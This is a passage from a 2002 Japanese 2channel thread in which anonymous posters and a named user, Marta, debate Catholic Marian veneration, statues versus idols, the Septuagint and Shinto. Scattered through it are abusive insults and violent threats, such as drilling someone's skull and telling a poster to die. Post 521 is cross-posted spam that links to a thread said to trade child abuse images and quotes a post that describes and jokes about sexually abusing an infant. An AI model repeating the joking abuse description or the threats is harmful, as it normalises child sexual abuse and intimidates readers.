>>512 マリア崇敬が間違いであることは明らかである。
出鱈目なことを書き込むと頭蓋骨に穴あけて
豚の糞を流し込むぞ!
>>514 そういう証拠はありません。
あなたのオツムの中だけの妄想。
証拠を出してごらん。リンクしてみな。
仮に、一部のローマ人がイシスを崇拝したとしても、
カトリックとは関係ない。出直して来い!
516 :
名無しさん@1周年 :02/12/12 16:05
>>1 によると、
神は33年間だけ神ではなかったという奇怪な結論にいたる。
ワラ
517 :
名無しさん@1周年 :02/12/12 16:07
>>516 なに出鱈目言ってんだ!
マリヤの偶像拝みすぎて
悪霊に取り付かれて
気が狂ったのか!馬鹿野郎!
518 :
名無しさん@1周年 :02/12/12 16:13
>>1 によると、神は33年間だけ神ではなかったという奇怪な結論にいたる。
だが、疑い深いトマスさえ、イエスを神と認めた。ワラ
「トマスは答えてイエスに言った。「私の主。私の神。」
イエスは彼に言われた。
「あなたはわたしを見たから信じたのですか。
見ずに信じる者は幸いです。」(ヨハネ20:28-29
519 :
名無しさん@1周年 :02/12/12 16:15
>>518 気が狂ってるから、そういう結論が出るのだ!
520 :
名無しさん@1周年 :02/12/12 16:16
>>1 によると、
神は33年間だけ神ではなかったという奇怪な結論にいたる。
だが、疑い深いトマスさえ、イエスを神と認めた。ワラ
「トマスは答えてイエスに言った。「私の主。私の神。」
イエスは彼に言われた。
「あなたはわたしを見たから信じたのですか。
見ずに信じる者は幸いです。」(ヨハネ20:28-29
エリサベツは最初から知っていた。
「私の主の母が私のもとに来られるとは!」
マリアは神の母である。これキリスト者の常識。
>>1 は非常識
521 :
名無しさん@1周年 :02/12/12 16:17
体育座りで炉画のあpを待つスレ(´・ω・`)20
http://okazu.bbspink.com/test/read.cgi/ascii/1039100169/l50 数々の犯罪の元となっている2ちゃんねるですが、半角板でも堂々と非合法な
画像や動画交換を行っております。
ここは静観してスレで待ち、ロリ画像や動画がUPされたその時、通報するのです。
※スレ上で交わされる画像の内容。
768 :/名無しさん[1-30].jpg :02/12/12 15:32 ID:FbDwEBUi
>>767 幼女(殆ど乳児)の鬼畜系。
それにしても、おむつもとれない年頃の子供に悪戯する奴って度胸あるよな。
一歩間違えればいきなりスカプレイだぜ(w
※このレスをコピー&ペーストして色々な板に貼ってください。
522 :
名無しさん@1周年 :02/12/12 16:18
____
Y/ニニ|>o<|\
/ //\___\
|/ / === |  ̄
| / ・ ・ |
\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| どんな馬鹿でも わかるのだ
|(( \□ ̄□/| |
>>1 を読むのだ。
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
/ |: | ̄ ̄ ̄ ̄
| |______|
| | | | | | | |
523 :
名無しさん@1周年 :02/12/12 16:22
>>1 によると、
神は33年間だけ神ではなかったという奇怪な結論にいたる。
だが、疑い深いトマスさえ、イエスを神と認めた。ワラ
「トマスは答えてイエスに言った。「私の主。私の神。」
イエスは彼に言われた。
「あなたはわたしを見たから信じたのですか。
見ずに信じる者は幸いです。」(ヨハネ20:28-29
エリサベツは最初から知っていた。
「私の主の母が私のもとに来られるとは!」
マリアは神の母である。これキリスト者の常識。
>>1 は非常識
524 :
名無しさん@1周年 :02/12/12 16:32
____
Y/ニニ|>o<|\
/ //\___\
|/ / === |  ̄
| / ・ ・ |
\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| 無駄な抵抗は やめるのだ。
|(( \□ ̄□/| |
>>1 を読むのだ。
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
/ |: | ̄ ̄ ̄ ̄
| |______|
| | | | | | | |
525 :
名無しさん@1周年 :02/12/12 16:33
____
Y/ニニ|>o<|\
/ //\___\
|/ / === |  ̄
| / ・ ・ |
\(6 (_λ_)\  ̄ ̄ ̄ ̄ ̄ ̄
/ _ ||||||| _| 無駄な抵抗は やめるのだ。
|(( \□ ̄□/| |
>>523 を読むのだ。
\  ̄ ̄ ̄ ノ \______
/ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄|了
/ |: | ̄ ̄ ̄ ̄
| |______|
| | | | | | | |
てゆうか イエスはしょっちゅう祈ってましたよ 天の神様に
527 :
名無しさん@1周年 :02/12/12 17:24
>>526 そりゃそうだろ。
子なる人間が父なる人間に語りかけるように、
子なる神が父なる神に語りかけて、どこがおかしいのか?
あなたのことばはあなた自身ではないのか?
神のことばの受肉、すなわち、イエス・キリストは、神ご自身ではないのか?
528 :
名無しさん@1周年 :02/12/12 17:38
>>527 日本人には理解不可能なのさ。その考え方がね。
中間を取って「マリアは子なる神の母」では駄目?
530 :
名無しさん@1周年 :02/12/12 17:50
理想化も甚だしい・・・。 本来、イエス・キリストや聖霊が占めるべき場所に、 マリヤを祭り上げているようにしか見えないです。 ヘブル人の手紙に書かれている、多くの「信仰を抱いて死んだ」 クリスチャンの大先輩として尊敬し、その信仰姿勢から学ぶのは とても大切だと思うし、そういう意味では、プロテスタントの信仰に生きる 多くのクリスチャンはマリヤを「尊敬」していますが、 「無原罪」とか、そういうハナシになると、もう「キリストの福音」とは 似て非なるモノとしか思えないっす。
531 :
名無しさん@1周年 :02/12/12 17:58
532 :
マルタ ◆JKiO8VJvj2 :02/12/12 18:00
>>529 それは折衷案ではなく、そのとおりです。
それ以外の意味のなんでもありません。
マリアは御父なる神の母でもなく、聖霊なら神の母でもありません。
御子なる神の母です。
533 :
名無しさん@1周年 :02/12/12 18:27
マルタさん、マンセー!
534 :
マルタ ◆JKiO8VJvj2 :02/12/12 19:15
>>526 >てゆうか
>イエスはしょっちゅう祈ってましたよ
>天の神様に
キリストは、人性の意志で天の父なる神に祈ることはよくありましたが。
キリストには人性の意志の神性の意志の二つの意志があります。
535 :
名無しさん@1周年 :02/12/12 19:31
マルタお嬢さん、マンセー!
536 :
名無しさん@1周年 :02/12/12 21:33
>>530 ルターもツウィングリもマリアを無原罪と証してますが、何か?
ルター:「マリアの霊魂の受胎が原罪なく行われたというのは、甘美なる、
敬虔なる信仰である。すなわち、霊魂の受胎そのものにおいて、
マリアもまた原罪を免れ、神の賜物に満たされ、神によって受胎する
純なる霊魂を受け、こうして、生の最初の瞬間から、すべての罪を
拭われていたという信仰である。」
("On the Day of the Conception of the Mother of God," 1527).
ツウィングリ
「私は、神のおん母、永遠に純潔なる、原罪なき童貞マリアを篤く敬う。
キリストはいとも清き童貞からお生まれになった」
(Stakemeier, E. in De Mariologia et Oecumenismo, Balic, K., ed.,
Rome, 1962, p. 456.)
537 :
名無しさん@1周年 :02/12/12 22:04
マルタさんのおっしゃっておられることは、筋が通っていますね。 私はイエス・キリストに祈りは捧げても、マリア像を拝む気はしません。 人間が作った像という塊に対して祈ることは、恐ろしい。 マリア=聖母説が正しいとしても、やはり像は拝まない方が良いと思います。 マリアを崇敬しているのであれば、純粋に「聖母マリア」に対し、心で祈ればよい話ではありませんか。
538 :
名無しさん@1周年 :02/12/12 22:20
>>537 それでは、意味がなくなるのさ。
マリアには女神達を封じる意味が与えられているからね。
君達には呪術めいた話で気味が悪いと感じるだろうが、
キリスト教徒は異教への勝利に向け、あらゆる事を行ったのさ。
539 :
マルタ ◆JKiO8VJvj2 :02/12/12 22:25
>>537 カトリックは、聖像を拝むなんてしませんよ。敬うだけです。
540 :
名無しさん@1周年 :02/12/12 22:25
>>538 意味が判りません。
あなたはカトリック教徒でもなく、無論プロテスタントでもないよね。
538は聖書も読んだことがないのだろうね。
542 :
名無しさん@1周年 :02/12/12 22:28
>>537 ユダヤ教でも、聖像を神殿の中に据えていましたけど?未来の神殿を描く、エゼキエル書にさえ彫刻が神殿の中に幾つもあったと記録していますよ。41:17、18。これは神の戒めを犯してることなのでしょうかねえ。神が命じて彫らせてるんですがネエ。w
>>539 マルタさん、カトリック教徒は像の前で祈っているではありませんか。
プロテスタントの各教会はキリストの像を作ることすらしません。
544 :
名無しさん@1周年 :02/12/12 22:32
>>541 聖書か?聖書のみにキリスト教徒の価値観が
全て描かれているとでも思っているのかね?
545 :
マルタ ◆JKiO8VJvj2 :02/12/12 22:35
>>543 聖像は記念や象徴。
祈りを捧げる対象は原像です。
>>542 彫刻、絵画は崇拝の対象としての偶像とは違うのでは。
エゼキエルに記述されている彫刻は崇拝の対象ではありません。
キリストを描いた画を祈りの対象とすればそれは偶像崇拝になるのでしょうけれど。
547 :
名無しさん@1周年 :02/12/12 22:37
>>543 カトリック信者のそれを良く注意して見なければならない。
彼らは偶像崇拝などはしていないのさ。
また、彼らのやっていることは
異教の偶像崇拝を拒絶するためのものなのだよ。
彼らの主張を良く分析して見ると面白いものだよ。
キリスト教徒は、異教やユダヤ教に打ち勝つために、
あらゆる概念・理論を哲学的に組み立ててきた。
聖書を書く時も、常にそれに注意してきたのさ。
何故福音書が複数必要だったのか心理学的に
見直して見れば面白いものが見えてくる。
マリア像は、祈りを捧げられる形ある物質たる原像。
>>547 異教の偶像崇拝を拒絶するために自らも、マリヤ像崇拝をしているという解釈はよくわかります。
550 :
名無しさん@1周年 :02/12/12 22:43
>>546 彼らは異教のように像をその原像と見立てて祈ることはない。
また、異教のように像自身を拝むこともない。
像を作ることによりイメージを統一させることができる、
という護教の意味がこめられているのだよ。
551 :
マルタ ◆JKiO8VJvj2 :02/12/12 22:44
>>548 マリア像は聖像。
マリアが原像。わかりましたか。
552 :
名無しさん@1周年 :02/12/12 22:45
>>546 理解不足ですね。この件については、俺さんとのこの二年間のやり取りで、
全部、兄弟たちが論破していますよ。いいかげんにしてください。
崇敬の対象は、ものではない。天上の活ける実在です。
何を間抜けなことを言ってるんですか。あなたの方こそ、
偶像崇拝の異教徒のような理解ですね。
553 :
マルタ ◆JKiO8VJvj2 :02/12/12 22:48
>>550 >彼らは異教のように像をその原像と見立てて祈ることはない。
原像は原像。聖像もあくまで聖像。私たちもそんなことはしません。
聖像を敬うのは、それを原像に見立てるためでなく、
原像を思い起こす記念としてです。
554 :
名無しさん@1周年 :02/12/12 22:48
>>549 彼らはマリアを崇拝していない。
キリストを神として崇拝するが、マリアは聖人として敬われる。
女の中の女として。キリストを産みたもう新しいエバ。
これがマリアなのだよ。
555 :
名無しさん@1周年 :02/12/12 22:50
>>548 旧約でさえ、宗教目的であれば、天地のものをかたどる行為は
禁じられていないばかりか、神ご自身が命じて造らせています。
神殿もそう。聖所もそう。至聖所もそう。ケルビムもそう。
青銅の蛇もそう。形あるものは全部です。
神官たちは、それに対してあなたのような不遜な態度をとったでしょうか?
笑わせないで下さい。
556 :
名無しさん@1周年 :02/12/12 22:50
>>553 私もそのとおりのことを説明しようとしていた。
557 :
名無しさん@1周年 :02/12/12 22:52
プロテスタントは、教会堂を壊し、十字架も壊したほうがいいな。形あるものはすべて。
>>555 オレはそんなこと言ってないぜ!
カトリック教徒たちが「像」に向かって祈っているのは事実じゃないか。
マリヤ像に祈っているとしか見えない。仏教徒が仏像や本尊に向かって祈る如く。
ちなみに、神殿を形作ること自体は誰も否定していないよ。
559 :
名無しさん@1周年 :02/12/12 23:00
>>557 プロテスタントは十字架を屋根の上に掲げても、十字架に手を合わせて拝んだりはしないんですけど。
560 :
名無しさん@1周年 :02/12/12 23:00
>>558 >「像」に向かって
像を通して天国におられる原像に向かい、賛美し、取次ぎに感謝し、
取次ぎをお願いしているのです。ちなみに、私の家には聖像はあり
ませんので、ご絵に向かいます。
561 :
名無しさん@1周年 :02/12/12 23:01
>>558 青銅の蛇を見て自分達に降りかかった災いと、
それを救われた主の御技をユダヤ人たちは思い出してきたのだ。
ケルビムを見ては主は全ての主だと知って来たのだ。
カトリック教徒たちも同じようなことをしているのさ。
それをプロテスタントの信者達には理解が出来ないわけなのさ。
562 :
名無しさん@1周年 :02/12/12 23:01
>>559 でも、イエスの絵に祈る人は多いけど…誤魔化したって、だめだよ。w
563 :
名無しさん@1周年 :02/12/12 23:02
>>559 新しいユダヤ教に倣ったのだよ。その習慣は。
564 :
名無しさん@1周年 :02/12/12 23:03
>>561 それは古代のこと。すべて、そういう歴史をクリアーして、今に至っているのですから、同じ間違いは繰り返しません。御心配なく。てか、俺さん、ウザイです。
565 :
名無しさん@1周年 :02/12/12 23:04
>>562 プロテスタントでイエス・キリストの絵に祈る人なんて、聞いたことないですぅ〜〜♪
566 :
名無しさん@1周年 :02/12/12 23:05
正教徒はイコンに祈るな イコン=聖画
567 :
名無しさん@1周年 :02/12/12 23:06
>>564 そうですね。同じ間違いは繰り返してはいけません。
568 :
名無しさん@1周年 :02/12/12 23:09
大きなルター派教会には、マリアや聖人どころかルターの像が… ちなみに本郷にある福音ルーテル派の教会にはマリア像とヨセフ像があります プロテスタント最大の教派たるアングリカン(7700万人)の教会の一部は、マリア崇敬がカトリックより盛ん 正教もマリア崇敬がカトリックより盛んですな 俺さんは、福音ルーテル派(福音派を自称)の人にすら異端扱いされて、まだ頑張ってるのか(笑) がんばれよ
569 :
名無しさん@1周年 :02/12/12 23:11
>>564 あんな中途半端な聖書狂信者とは一緒にして欲しくないな。
古代のユダヤ人に、後にあれらを崇拝の目的で使用しようとする
者が出てきたので王によって壊されたのだ。
元々は記念と信仰を深めるの意味合いの濃いものであった。
570 :
名無しさん@1周年 :02/12/12 23:12
>>568 ガ〜ン!知らなかった!
ルターもバチカンの手の上で転がされているのね〜〜
よって、「福音ルーテル派」はプロテスタントにあらず!
571 :
名無しさん@1周年 :02/12/12 23:15
>>570 何を言ってんだよ(笑)
バチカンなんかと関係あるわけないじゃん。
バチカンと対立していた時代からあるんだから
そもそもマリア崇敬をする教会が、聖書を選抜決定したのは歴史上の事実でしょ。
聖書もマリア=テオトコスも同じ時期に公会議によって確認されたことだ。
まぁ公会議に従わないならそれでいいのだが、それじゃキリスト教とはいえないよね。
572 :
名無しさん@1周年 :02/12/12 23:16
カトリック信仰は古代の正しい概念と全く矛盾しないことが分かる。 ただし、古代イスラエル人は預言者の似姿を描くことはなかった。 例外として文盲者にはなかったとはいえないが・・・。 その点は見て見ぬ振りといったところだったらしい。 イエスの頃は文盲者も多かっただろうし、 在外ユダヤ人には絵を描くこと・像を用いることに 抵抗がなくなったグループが居た。 そういった者達をユダヤ本国の人たちは、 異邦人のように奇異な目で扱ったのは確かである。 キリスト教徒たちにこれらの出身のユダヤ人が 多く居たことも理解できる。
573 :
名無しさん@1周年 :02/12/12 23:17
>570 ルーテル派がプロテスタントじゃないなら、オマエのところは一体なんなんだ? キリスト教じゃなくて「福音教」「聖書教」とでも名前を変えたらどうよ?(w
574 :
名無しさん@1周年 :02/12/12 23:21
>>571 過去の公会議の確認事項と一致点を見出せないでいるプロテスタント教派やユニテリアンは「キリスト教」を名乗ってはいけないのでしょうか?
575 :
名無しさん@1周年 :02/12/12 23:21
プロテスタントの出現で、キリスト教は勝利の光を失い始めた。 科学が台頭してきたのである。 私は個人的にこれは良かったと思うが、キリスト教にとって、 新たな強敵が出現した。 キリスト教はいかに科学を乗り越えるか、 これが今後の課題となろう。 共産主義を挙げる人が多いが、私はカトリックのやり方を 真似ているだけに過ぎないと思うし、カトリックのそれより 説得力にかけているのでこれを扱わない。
576 :
名無しさん@1周年 :02/12/12 23:23
577 :
名無しさん@1周年 :02/12/12 23:23
571補足 カルタゴ公会議の時代には、マリア崇敬については伝承ではなく「文書で」今の時代に残っています。 すなわち、マリア崇敬を否定するのなら、公会議の決定に反するか以前の問題で、聖書もおかしいってことになるな(笑) だって、どれを聖書にするか選んだ教会(今の正教会とカトリック教会)が、今よりずっと盛んにマリア崇敬してたのだから。
578 :
名無しさん@1周年 :02/12/12 23:24
俺さんは今度はカトリックに化けているらしい。 偽ユダヤ人のほうは、単に歴史の聞きかじりかもね。
579 :
名無しさん@1周年 :02/12/12 23:24
580 :
名無しさん@1周年 :02/12/12 23:25
>>574 いいんじゃん。他の教会にちょっかい出さなければね。
ちょっかい出すならそれなりに反撃されるということだよ。
しかし、ユニテリアンもプロテスタントと言えるのならば、エホバの証人もプロテスタント足りうるな。
俺はユニテリアンはプロテスタントだと思っています。
581 :
マルタ ◆JKiO8VJvj2 :02/12/12 23:26
>>558 >
>>555 オレはそんなこと言ってないぜ!
>カトリック教徒たちが「像」に向かって祈っているのは事実じゃないか。
それは、原像に対する敬意の表現をするために像に向かっているだけで、
祈る対象は聖像ではなく原像です。
>マリヤ像に祈っているとしか見えない。
あなたがそう見てるだけ。
>仏教徒が仏像や本尊に向かって祈る如く。
仏像の原像を敬ってはだめです。異教の神々や架空の存在を敬ってはだめだから。
釈迦の像は微妙ですね。原像が実在しますから。
>ちなみに、神殿を形作ること自体は誰も否定していないよ。
しかし、神殿という被造物に向かってひれ伏すのは聖書で認めているでしょ。
ルカは偶像礼拝者だな。破門だ。
584 :
名無しさん@1周年 :02/12/12 23:28
>>1 この世の旅が終わる時、全てが明らかになります。
585 :
名無しさん@1周年 :02/12/12 23:28
586 :
名無しさん@1周年 :02/12/12 23:29
つか、異端者俺さんに、異端を決定する権限はありません(w 俺さんに異端とされた方が、正統になれる可能性があります
587 :
名無しさん@1周年 :02/12/12 23:29
>>580 ちょっかい出さなければいいってことだね。
エホバの証人も他教派を排撃しなければ、こんなにまで叩かれることもないのにな。
590 :
名無しさん@1周年 :02/12/12 23:31
>>579 私はキリスト教徒が人物像や人物画を崇敬に使うことを
反対はしない。なぜなら、異教対策には必要であったし、
疎外感を感じていたユダヤ人の外国生まれの者や文盲層には
大いなる救いを得たと思う。
ルカはギリシャのユダヤ人であったろうといわれている。
当然のことだろう。
迫害が本格化する前なら、そういったことを行っていても
不思議ではない。
591 :
名無しさん@1周年 :02/12/12 23:31
キタ━━(゚∀゚)━( ゚∀)━( ゚)━( )━( )━(゚ )━(∀゚ )━(゚∀゚)━━!!!!! しかし、俺さんが壊れるにはまだ早い時間だな(w
>>581 あなたの説明はわかりやすい。カトリック教徒の心のうちがなんとなくわかったよ。
595 :
名無しさん@1周年 :02/12/12 23:33
また、今のユダヤ教と分裂前のユダヤ教は 明確に区別されるべきだとも考える。
596 :
名無しさん@1周年 :02/12/12 23:34
>>587 まぁそうじゃん。信教の自由があるしな。
うちはキリスト教。プロテスタント。と言ってそうじゃないとは言えんでしょ。
そんなこといったって、マリヤ崇敬が悪霊崇敬だって事実は変動しねえよ。
599 :
名無しさん@1周年 :02/12/12 23:36
俺さんの教会とエホバの証人はどちらが正統なの?
600 :
名無しさん@1周年 :02/12/12 23:36
異教の神々についてだが、異教の神々は原罪があると見られる。 ほとんど人間と同じであるということが、違うことである。 これらを崇拝することはおかしいということも、 古代キリスト教は唱えていたようだが・・・。
601 :
名無しさん@1周年 :02/12/12 23:36
>>598 「俺さん教」から破門されたようです。良かったですね(^^)ニコ
ルカは気が狂って、ホルスとイシスの絵を書いたんだから、破門。
>>598
603 :
名無しさん@1周年 :02/12/12 23:39
604 :
名無しさん@1周年 :02/12/12 23:39
つか「異教の神々」なんて実際におるの? 実際おらんことには原罪なんてないと思うけど。
605 :
名無しさん@1周年 :02/12/12 23:39
俺さんの聖書解釈、あれは矛盾をはらみすぎるから、 論破されて当然だろう。 なぜなら、新約聖書を創った教会であるから、 論破されることはあっても、論破することは難しい。
606 :
名無しさん@1周年 :02/12/12 23:39
>>603 あんま俺さんを追い詰めないようにNE☆
>>602 だから、オレがどの教会を破門になるというのだ。
608 :
名無しさん@1周年 :02/12/12 23:41
>>604 非常に難しいのだが、実在の人物と仮定した場合、
それは現在のあるものと考えることができる。
神話を読めば、彼らは人間と何ら変わらんことが分かる。
609 :
名無しさん@1周年 :02/12/12 23:43
610 :
ペンテコステ派598 :02/12/12 23:43
>>601 本家本元の俺さんはスレの冒頭に登場しただけで(以後沈黙を守っている)、他の「俺さん」はみんな違う俺さんじゃないのか。
出来れば、ID使って欲しい。
611 :
名無しさん@1周年 :02/12/12 23:44
612 :
名無しさん@1周年 :02/12/12 23:45
>>610 別に「俺さん」なんてネットキャラなんだから、どの「俺さん」でも主張が俺さんなら俺さんでいいでしょ。
ペンテコステの人って、あんま俺さん(ペンテコステも大嫌い)に反論しないよね。
ひょっとして相手にしてない?(笑)
偶像を聖像を偽るのは許されることなのだろうか?
615 :
名無しさん@1周年 :02/12/12 23:47
>新約聖書を創った教会であるから、 >論破されることはあっても、論破することは難しい。 これに気付かないのが俺さん(笑) 否定するにしても、もっと仲良くできんのかね〜
616 :
名無しさん@1周年 :02/12/12 23:47
ただ、世界で数ある異教のうち、どうにも難しいのは神道の存在だ。 神々を崇拝していないからだ。彼らは崇敬しているらしい。 これをどう解釈するか、一番困る事例かも知れない。
何でもかんでも「聖」とつければ、「聖」になるのだろうか?
618 :
名無しさん@1周年 :02/12/12 23:47
>>614 607氏じゃないが、一体どういう風にそのような結論に至るんだよ。。ヲイヲイ(;´Д`)
619 :
ペンテコステ派598 :02/12/12 23:48
>>608 スサノオノミコトなど日本の神話に出てくる「神々」も実は地方の豪族であったというから、納得です!
620 :
マルタ ◆JKiO8VJvj2 :02/12/12 23:48
ちゃんと、神殿という被造物にひれ伏してるでしょ。俺サン。 詩篇 138:2 聖なる神殿に向かってひれ伏し/あなたの慈しみとまことのゆえに/御名に感謝をささげます。その御名のすべてにまさって/あなたは仰せを大いなるものとされました。
何でもかんでも「聖」とつければ、「聖」になるのだろうか? なるわけねーだろ!オオ馬鹿野郎!
622 :
名無しさん@1周年 :02/12/12 23:49
>>617 確かに俺さんに「聖俺」ってしても保守的・正統キリスト教信者にはならんわな(w
そもそも「聖書のみ」なんて言ってる時点で超リベラル
623 :
名無しさん@1周年 :02/12/12 23:49
>>615 それは彼の病的な意地で無理だろう。
自分ではっきりと認めたら死ぬしか彼には道はないと思う。
624 :
マルタ ◆JKiO8VJvj2 :02/12/12 23:50
聖なる神殿という被造物をひれ伏すのは偶像礼拝ですか?
625 :
名無しさん@1周年 :02/12/12 23:51
じゃあ、俺さんはルカ伝とか使徒行伝は聖書じゃないって言うんだ☆NE! そりゃすごいや。さすが俺さん教
626 :
名無しさん@1周年 :02/12/12 23:51
>>610 この俺さんの壊れ方は、俺さん特有に思えるんですけど。。
やっぱ本物では。
政治的な理由で、腹黒いヤツがずいぶん『聖人』にされてるようだよな〜 何でもかんでも「聖」とつければ、「聖」になるのだろうか? なるわけねーだろ!オオ馬鹿野郎!
628 :
名無しさん@1周年 :02/12/12 23:52
>>619 そこのところはそうなのだが、
神道ではそういった神々は「崇敬」するのだそうだ。
他に崇拝に値する神が居るのかどうかは分からないが、
一体どうなっているのだろう?
日本人は良く理解できない民族で首をひねるばかりだ。
629 :
ペンテコステ派598 :02/12/12 23:53
>>616 (かつて実在した)学や芸、世間への貢献などで優れた人々を敬うというところも神道にはあるようです。
630 :
名無しさん@1周年 :02/12/12 23:54
俺さん教は、俺さんの都合や気分しだいで、聖書を削ったらりすることができるみたいだから信者さんは大変だね。 昨日までルカによる福音書が正典だと思ってても、今日になれば聖書じゃなくなる(笑)
>>628 神道に話をすりかえれば、偶像すうはいの罪を逃れられるのか?
632 :
名無しさん@1周年 :02/12/12 23:58
日本人の文化・宗教観に対しては、 ユダヤ人やキリスト教徒・イスラムの定説を用いることが出来ない。 どうやっても論破することも論破されることも無理なんだよ。 なぜか丸め込まれてしまうというのかなぁ。 日本人はキリスト教徒になる人が少ないというが、 その理由が分かるような気がするんだ。
634 :
ペンテコステ派598 :02/12/12 23:59
>>626 私は、俺さんではありません。
俺さんの主張も読ませてもらったし、カトリック側の主張もちゃんと読んでいます。
それぞれ考えが違うのだから、喧嘩目的の板は最初から立てない方が良い。
それぞれが、それぞれの信仰を持てばよいのです。
635 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:01
>>5 >B「神殿に向かってひれ伏して良いのだから、マリヤ崇敬をしても良い」という主張は詭弁です。神殿に向かってひれ伏す事は、神に向かってひれ伏す事と同じです。イザヤ6章1節
>※神殿の形の偶像を作って拝んだら、偶像礼拝には違いありません。
に対する、わたしから俺さんへの詭弁封じ。
詩篇 138:2 聖なる神殿に向かってひれ伏し/あなたの慈しみとまことのゆえに/御名に感謝をささげます。その御名のすべてにまさって/あなたは仰せを大いなるものとされました。
Psalms 137:2 προσκυνησω προς ναον αγιον σου και εξομολογησομαι τω ονοματι σου
神殿 ναος が ναον となってるでしょ。-ονという語尾は「〜を」表す対格という名詞の格変化なんです。
従って、神殿 ναον を προσκυνησω ひれ伏してることになります。
636 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:03
637 :
名無しさん@1周年 :02/12/13 00:03
>>629 そうなのか・・・。ありがとう。
全くもって神道は良く分からない。
一体どういうシステムになっているのだろう?
神道には全てが混ざり合っているというのだろうか、
何やら不思議な感覚に襲われるんだ。
ユダヤ人にとって最大の敵かも知れない。なんて思うことがある。
政治的な理由で、腹黒いヤツがずいぶん『聖人』にされてるようだよな〜 何でもかんでも「聖」とつければ、「聖」になるのだろうか? 聖とつけば、なんでもかんでも崇敬していいものだろうか? いいわけねーだろ!馬鹿野郎!
639 :
名無しさん@1周年 :02/12/13 00:07
>>633 君には分からないさ。君は何も理解する気がないからね。
我々の持つ常識は日本以外なら多くの土地で通用する。
しかし、日本は何もかもが無にされてしまうのだよ。
掴み所が全くないんだよ。日本は不思議な国だ。
>>636 だから?偶像を拝むのはやめなさい。これが最後の警告です。
642 :
名無しさん@1周年 :02/12/13 00:09
>>640 負け犬の遠吠えだな。
日本では負けてないと言い張れるが、
キリスト教的には君は負けを認めたことになっているさ。残念だな。
643 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:10
>>640 神殿にひれ伏したユダヤの伝承はどうなるの?
644 :
名無しさん@1周年 :02/12/13 00:11
>>641 君は負けることが大好きなようだね。
サドを装うマゾなんだね。
645 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:11
あなたは、旧約聖書を否定するマルキオン主義ですか。
ルカは神ではない。ルカだって間違うことはある。 当時すでにあったイシスとホルスの大地母神の像を キリストとマリヤに描き直したんだろうな。 もっとも、ルカが本当に描いたかどうかもわからないしなあ。
647 :
名無しさん@1周年 :02/12/13 00:12
>>643 俺さんの神様は主ではないのだよ。彼の思想自体が主なのさ。
649 :
名無しさん@1周年 :02/12/13 00:14
>>646 憶測じゃ意味無しだよ。証明すべきさ。
君の神のお告げがあったとかね。
650 :
名無しさん@1周年 :02/12/13 00:15
>>643 ああ?うるせえ!
お前は破門だ!破門!視ね!
神殿に平伏す?神殿が神か?ば化か?
神殿が血を流すか?笑わせてもらっちゃ困るなあ。
オバンはねんねしな。体にワリーど。
652 :
名無しさん@1周年 :02/12/13 00:16
>>645 プロテスタントには、時に神が命じたことではない。
人々が勝手にやり始めたことだという人たちも居る。
653 :
名無しさん@1周年 :02/12/13 00:18
>>651 自分の腕をカッターで切って楽しいかい?
そんなことをしている内は、だめだよ。
神殿はただの建物。神殿に平伏すのではありません。神に平伏すのです。それはOKに決まってんだろ。何故なら、神殿は血を流したりしないから。だが、〇〇は血を流したりするもんね。恐いね!
655 :
名無しさん@1周年 :02/12/13 00:22
>>654 神殿は神の選ばれた場所。それゆえに聖なる場所とされた。
聖書の解釈を勝手に変えちゃいけないな。君の脳内ではそうであってもね。
>>655 神殿はただの建物。神殿に平伏すのではない。
神に平伏すのだ。それはOKに決まってんだろ。
何故なら、神殿は血を流したりしないから。
だが、〇〇は血を流したりするもんね。恐いね!
毛が生えてきたリして!恐いね!
658 :
名無しさん@1周年 :02/12/13 00:24
今でも神殿に向かって我々は平伏すけどね。 プロテスタントはエルサレムに来てもしないらしいね。 みんな不敬だって怒ってるよ。
659 :
名無しさん@1周年 :02/12/13 00:26
>>656 本当だって認めたね。
まぁ、早く病院へ行くべきだよ。
>>655 馬鹿だね。神がいるから神殿。いなけりゃ脱け殻だろ。
うちのわん公も理解したぞ。さっききいたら、そう答えた。
おまえはワン公以下。
>>658 ばかだなー。
その場所が殺戮の本場じゃネーカ。何考えてる?
神殿に反キリストが収まるのさ。
パウロがそう言ってるもんね。
無知を暴露したな。ワラ
どうやら、俺が議論に勝ったようだ。誰も反論できまい。邪教は染んでくれ。世のため、ひとのために。
664 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:34
>>640 使徒 7:14 そこで、ヨセフは人を遣わして、父ヤコブと七十五人の親族一同を呼び寄せました。
の七十五人がマソラ本文では、七十人になってます。
創世 46:27 エジプトで生まれたヨセフの息子は二人である。従って、エジプトへ行ったヤコブの家族は総数七十名であった。
出エジプト 1:5 ヤコブの腰から出た子、孫の数は全部で七十人であった。ヨセフは既にエジプトにいた。
しかし、七十人訳聖書では、何れも""でくるんだところは75になってる。
だから、新約聖書は七十人訳聖書を引用したの。
Genesis 46:27 υιοι δε Ιωσηφ οι γενομενοι αυτω εν γη Αιγυπτω ψυχαι
εννεα πασαι ψυχαι οικου Ιακωβ αι εισελθουσαι εις Αιγυπτον "εβδομηκοντα
πεντε"
exodus 1:5 Ιωσηφ δε ην εν Αιγυπτω ησαν δε πασαι ψυχαι εξ
Ιακωβ "πεντε και εβδομηκοντα"
>>1 は舌足らずだが、正しいことを言っているのだ。
666 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:38
>>654 >神殿はただの建物。神殿に平伏すのではありません。
でも、七十人訳聖書に、ναον って対格の語尾、
すなわち「神殿を」ってなってるでしょ。
667 :
名無しさん@1周年 :02/12/13 00:39
>>662 君たちが神殿を汚しているのに過ぎないさ。
>>664 わかったよ。だから、何ナノよ?
何で、無数の偶像を販売して、ただの聖水に法外な値段をつけて
売ったりするんだ?なんで、聖人かどうかもわからんヤシに、
御利益の願掛けするんだ?
カトリックは非常識じゃねーのか?
669 :
マルタ ◆JKiO8VJvj2 :02/12/13 00:40
>>668 ルルドの聖水は教会でタダで配られています。
神殿をがなんだってんだよ!アホか?化け猫の皮剥すぞ!いいのか?いいのか?いいのか?
671 :
